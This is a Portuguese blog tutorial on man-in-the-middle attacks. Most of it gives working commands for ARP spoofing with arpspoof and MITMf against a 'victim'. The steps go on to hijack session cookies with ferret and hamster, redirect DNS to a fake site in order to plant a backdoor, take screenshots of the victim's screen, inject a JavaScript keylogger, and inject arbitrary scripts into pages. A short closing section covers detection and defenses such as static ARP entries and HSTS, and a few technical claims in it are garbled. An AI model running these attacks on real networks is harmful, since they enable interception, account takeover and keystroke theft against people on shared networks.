Man-in-the-Middle e MITMf - DNS Spoofing e suas defesas

Neste tutorial iremos abordar o tipo de ataque conhecido como Man in the Middle.

Esse teste "envenena" a Tabela ARP da vitima, fazendo com que a máquina atacante, nossa, se passe pelo roteador, fazendo com que consigamos interceptar o tráfego e ter acesso a dados sigilosos trocados entre os dois atores.

A exploração do ARP Poisoning é o método mais rápido de se estabelecer no meio da comunicação entre duas máquinas e interceptar as informações enviadas entre ambas, fazendo com que possua acesso a dados confidenciais, senhas e relatórios de tráfego. Esse método se aplica somente em redes Ethernet ou seja, esse tipo de comunicação pode ser resumido em redes internas, sejam elas empresariais, residenciais ou até mesmo aquele wifi livre na praça de alimentação do Shopping ou do café que você gosta de frequentar.





../Captura%20de%20Tela%202018-01-04%20às%2015.09.59.png


Esse é um acesso de uma rede normal


Quando um Hacker faz o ARP Spoofing


../Captura%20de%20Tela%202018-01-04%20às%2015.11.57.png


E a consequência do MITM é


../Captura%20de%20Tela%202018-01-04%20às%2015.12.47.png


Traremos dois modos de fazer o ataque men in the middle


MODO 1 - ARP Poisoning arpspoof

Arpspoof é uma ferramenta parte da suíte chamada dsniff, no qual contem um numero de ferramenta para testes de penetração. Arpspoof pode ser usado para lançar um ataque MITM e redirecionar o tráfico fluindo para nosso aparelho ou captador.

Funciona em Android e outros celulares


verificar nossa ip através de ipconfig:
verificar no windows através de arp -a




1. Diz ao alvo que eu sou o router.


arpspoof -i [interface] -t [Target IP] [AccesPoint IP]

Ex: arpspoof -i wlan0 -t 192.168.1.5 192.168.1.1



2. Diz ao AP que eu sou o alvo cliente.
arpspoof -i [interface] -t [AP IP] [Target IP]
Ex: arpspoof -i wlan0 -t 192.168.1.1 192.168.1.5
/Users/Wernik/Desktop/Captura de Tela 2018-01-04 às 17.47.49.png
3. Habilita a emissão de IP para fluir para nosso aparelho sem ser desconectado.
Echo 1 > /proc/sys/net/ipv4/ip_forward
/Users/Wernik/Desktop/Captura de Tela 2018-01-04 às 17.49.02.png


MODO 2 MITMF

O MITMf (Man-In-The-Middle Framework) é uma ferramenta de ataque do Man-In-The-Middle que visa fornecer uma unica ferramenta para ataques de Man-In-The-Middle (MiTM) e de rede enquanto atualiza e melhora os ataques e técnicas existentes.


ITMf - Man-In-The-Middle Attack Tool
Originalmente construído para resolver as deficiências significativas de outras ferramentas (por exemplo, Ettercap, Mallory), foi quase completamente reescrito a partir do zero para fornecer uma estrutura modular e facilmente extensível que qualquer um pode usar para implementar seu próprio ataque MITM.


Features of MiTMf Man-In-The-Middle Attack Tool
The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.

As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol.

The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.

MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.

Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.

Available Plugins for MiTMf Man-In-The-Midde Attack Software

  • HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application

  • SMBTrap : Exploits the ‘SMB Trap’ vulnerability on connected clients
  • ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
  • Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
  • SSLstrip+ : Partially bypass HSTS
  • Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
  • BeEFAutorun : Autoruns BeEF modules based on a client’s OS or browser type
  • AppCachePoison : Performs HTML5 App-Cache poisoning attacks
  • Ferret-NG : Transperently hijacks client sessions
  • BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
  • FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
  • Inject : Inject arbitrary content into HTML content
  • BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
  • JSkeylogger : Injects a Javascript keylogger into a client’s webpages
  • Replace : Replace arbitrary content in HTML content
  • SMBAuth : Evoke SMB challenge-response authentication attempts
  • Upsidedownternet : Flips images 180 degrees


Como fazer o ataque MITMF:


Primeiro passo, estar na mesma network que a vitima


/Users/Wernik/Desktop/Captura de Tela 2018-01-04 às 17.54.30.png


mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0

- o IP do router normalmente é .1 da mesma subnet. Para saber deve colocar o comando route -n
- e não colocar o target ele coloca toda a subnet
- ele faz sniffing automaticamente para captar os dados
- Já ativa o SSLstrip que faz downgrade de Https para Http mudando a porta 443 para porta 80
- (os browser ja tem uma proteção para isso e dirão que há uma porta suspeita)

/Users/Wernik/Desktop/Captura de Tela 2018-01-04 às 18.12.52.png


Sites como o google e facebook tem proteção SSH que protegem contra esse tipo de ataque




MODO 3 para fazer o MITM - Ettercap veja aqui


O que podemos fazer sendo o Men in the middle

Roubando o Biscoito (ou Bolacha:)) - Cookie Hijacking

E se o usuário usar o “Lembre-me”? Quando o usuário usar a opção de autenticação preferindo escolher por logar pelos cookies e não pelo usuário – senha.

Então, ao invés de sniffing a senha, nós podemos sniff o cookies e injetar neles no nosso navegador, isto permite-nos logar sem usar senha.

instala o ferret com o comando
> apt-get install ferret-sidejack


depois faz o ataque mitmf

>mitmf --arp --spoof --gateway (ip do gateway, normalmente mesma subnet com final .1) --target (ip do target) -i eth0

/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 10.40.09.png


divide a tela em três


ferret -i eth0
vai capturar todo o cookie que for efetivado
/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 10.41.20.png
do outro lado utilizar o comando
>hamster

Quando a vitima acessar algum site com a opção lembre-me e entrar um cookie em alguma pagina que já está com o login efetivado o Hamster vai mostrar um endereço que neste caso é 127.0.0.1:1234




deve copiar esse endereço e ir no kali
Firefox - preferences - advanced - Network - settings - manual proxy configuration
e colocar a porta aberta que nesse caso é 1234
ok




depois colocar o ip no endereço e vai aparecer a interface do Hamster




Selecionar o adapter e colocar a interface e Submit Query


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 10.47.01.png


Vemos que temos dois Targets
/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 10.48.13.png



O Ip de baixo é da maquina da vitima, clicando nele veremos todos os cookies ao lado esquerdo, agora só devemos procurar o cookie que tem a senha do site e entrar nela.

/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 10.50.21.png


Procuramos a que queremos, neste caso o dailymotion, botão direito e abrir em nova guia


E voilá, você estará conectado com o cookie da vitima sem precisa do user-name e password.

O ferret não funciona com sites que usam a tecnologia HSTS como o facebook e google por exemplo

Redirecionar paginas - DNS spoofing


Permite-nos redirecionar qualquer request/requerimento para um certo domínio para outro domínio, exemplo nós redirecionamos qualquer requerimento para facebook.com para um falso facebook que seria o IP de nosso kali
Dessa forma podemos instalar um backdoor na vitima




Deve fazer o kali como um server
Com o comando
> service apache2 start


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.17.14.png


O html da pagina falsa estará no kali no diretório
Devemos ir no file manager e digitar


var/www/html/index.html
/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.18.42.png


Entrará em uma pagina que terá index.html


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.19.25.png


Essa é a pagina que a vitima será encaminhada

Há varios modelos prontos de sites para colocar, porém deve tomar cuidado com essas paginas prontas da internet.

fazer o comando no terminal


> leafpad /etc/mitmf/mitmf.conf


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.21.31.png


vai abrir uma pagina e deve ir até o fim e verá os subdomains de qualquer site


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.23.11.png

Veremos que o *.live.com será redirecionado ao IP 10.20.14.203 que é o nosso próprio IP, no qual podemos configurar para qualquer domínio da internet em qualquer companhia de HOST

Você pode colocar somente * para spoof todos os sites


faz o ataque de  mitmf acrescentando --dns no final


mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --dns


terá uma informação que DNS spoofing enabled e ARP spoofing enabled


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.26.47.png



Já estará funcionando e você poderá instalar através desse site qualquer coisa, ou colocar uma pagina fácil para pegar informações do alvo.

O spoofing de DNS não funcionará contra o Facebook porque ele usa o HSTS, e o motivo que não funciona contra sites da HSTS é porque os navegadores modernos vêm com uma lista de sites que só podem navegar como HTTPS e desde que você é redirecionando o destino para seu host local que não usa HSTS, o navegador simplesmente se recusará a carregar o site.

MITMF plug-ins


Outra Feature legal que o MITMF tem é os plug-ins
Podemos ver todos os plug-ins digitando:
> mitmf --help


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 11.56.47.png


Capturando a tela da vitima

Você pode mudar o intervalo das capturas de tela e se não digitar o comando interval será o default de 10 segundos

--screen


--interval (seconds) (se não colocar interval vai ser padrão de 10 em 10 segundos)


mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --screen --interval
/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.02.29.png


As fotos ficam no diretório do kali var/log/mitmf


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.04.08.png


Veremos todas as screenshots da vítima
/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.04.39.png


Capturando o teclado da vitima


Capturando o teclado:

Mesmo que já podemos ver os logins e passwords com o MITMF podemos ver tudo o que a vitima digita através do comando java script keylogger

/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.06.56.png


--jskeylogger (detectar o que escrever)


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.07.28.png

mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --jskeylogger


Se a vitima entrar em qualquer site e digitar veremos tudo:


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.08.25.png


Dessa forma teremos muita informação, o que dificulta bastante a analise posterior.


Injetando Código


Os navegadores podem ler código HTML e códigos Java Script


Primeiramente vamos rodar MITMf e o solicitar help
> mitmf --help


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.28.30.png


Teremos essas opções:


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.24.56.png


Começaremos injetando um código bem simples pelo terminal, ele só irá disparar um alerta.

> mitmf --arp --spoof --gateway (ip do router) --targets (ip do target) -i eth0 --inject --js-payload “alert(‘test’)”;”

/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.34.11.png


Quando a vitima entrar no site o código será injetado.


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 12.34.42.png


Quando a vitima entra no site o código será injetado.


Voce poderá procurar vários códigos para keylogger e etc...

Muitas vezes o código pode ser bem grande por isso é mais fácil colocar o código em um arquivo e no arquivo injetar o código.

Para isso vamos abrir nosso leafpad


>leafpad


E escrever o mesmo código de antes


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 13.03.37.png


Depois salvamos no Root com o nome de alert.js
Depois colocamos no código com --inject --js-file e o caminho para o arquivo

> mitmf --arp --spoof --gateway (ip do router) --targets (ip do target) -i eth0 --inject --js-file /root/alert.js

/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 13.05.45.png


E quando a vitima entrar no próximo site o código será injetado


/Users/Wernik/Desktop/Captura de Tela 2018-01-05 às 13.07.58.png


Esses códigos foram bem simples, mas poderá ser utilizado com qualquer outro.


Erros:


O MITMf não funciona com a ultima versão do Twisted, a solução é:

1. remove the current installed version:
pip uninstall Twisted 

If that command gave you errors, then remove it manually using this command:
rm -rf /usr/lib/python2.7/dist-packages/twisted

2. Install a compatible version:
pip install Twisted==15.5.0
Se previnir e detectar uma invasão:
  1. programa que detecta ataque de ARP poison:


  1. Wireshark:


preferencias - protocol - arp/Rarp - detect arp request
quando a vitima estiver sobre MITMF pode ir no wireshark em:
Analyse - expert information - vai ter um Warm dizendo IP duplicated


Defesas



Manter seu MAC em Static e não Dynamic nas configurações do router e para empresa grande é difícil pois precisa configurar sempre

Existem diferentes maneiras de defender-se dos ataques MITM, mas a maioria delas deve ser instalada nos routers/servidores e não são 100% seguras. Existe também a técnica que aplica uma criptografia complicada entre o cliente e o servidor. Neste caso o servidor pode identificar-se apresentando um certificado digital para que o cliente possa estabeleça uma conexão criptográfica e envie informação delicada através da mesma. Mas esta possibilidade de defesa depende de que ambos servidores tenham tal criptografia habilitada. Por outro lado, usuários podem proteger-se de ataques MITM evitando conectar-se a WiFi livres ou instalando plug ins como HTTPS Everywhere or ForceTLS em seu navegador, tais programas selecionarão apenas conexões seguras, sempre que estas estejam disponíveis. De todas as maneiras, todas esratégias de defesa possuem limitações e há provas de que vírus como SSLStrip ou SSLSniff podem driblar a segurança de conexões SSL.

HSTS: contando ao navegador que a conexão deve ser segura
Normalmente, o atacante utiliza uma conexão convencional, então seu navegador não identifica nada de errado — os browsers normalmente notificam o usuário quando identificam alguma ameaça de segurança, mas a ação nesse caso é interpretada como legal e você cai na armadilha sem perceber.

Se o site utilizasse o método HSTS, abreviação para HTTP Strict Transport Security, o servidor informaria ao navegador que a conexão entre ambos só pode ser feita de forma segura. Assim, no início do processo, o browser faria a ligação com o site do banco, receberia as informações e emitiria uma notificação de que a conexão não é segura e, portanto, não pode ser completada, evitando a interceptação dos seus dados.

A ideia parece simples e genial, afinal você não precisa fazer nada: o navegador trabalha em conjunto com a página para evitar ações mal intencionadas. Entretanto, apenas Firefox, Chrome e Opera têm suporte para HSTS — o Internet Explorer, navegador mais usado no mundo, não trabalha com esse tipo de recurso.

Informação e cuidado
A Electronict Frontier Foundation (EFF), organização sem fins lucrativos que defende as liberdades civis na internet, aponta que um dos principais motivos para a ausência do recurso em um maior número de sites é o desconhecimento dos programadores.

Para combater esse o desconhecimento, as equipes de desenvolvimento por trás dos navegadores da Mozilla e da Google oferecem informação: ambas mantêm páginas com instruções sobre como um programador deve proceder para ativar a HSTS em sua página (aqui e aqui). Já a EFF conta inclusive com uma extensão “HTTPS everywhere” para Firefox, Chrome, Opera e Android, que força a conexão segura sempre que ela é possível e ajuda a proteger o usuário.

Entretanto, como muita gente ainda utiliza o Internet Explorer e também como muitos sites ainda não trabalham com a tecnologia HSTS, a maior ferramenta para evitar cair em uma armadilha dessas é ficar atento. Inspecione bem as páginas que visita quando acessa a web a partir de uma rede aberta, pois por mais improváveis que possam parecer, as ameaças existem.

Comentários

Mais visitadas

Usando GPU para Brute-Force com HashCat

Ataque Evil Twin

XSS - Cross-site scripting

Mitmproxy 1 - Conhecendo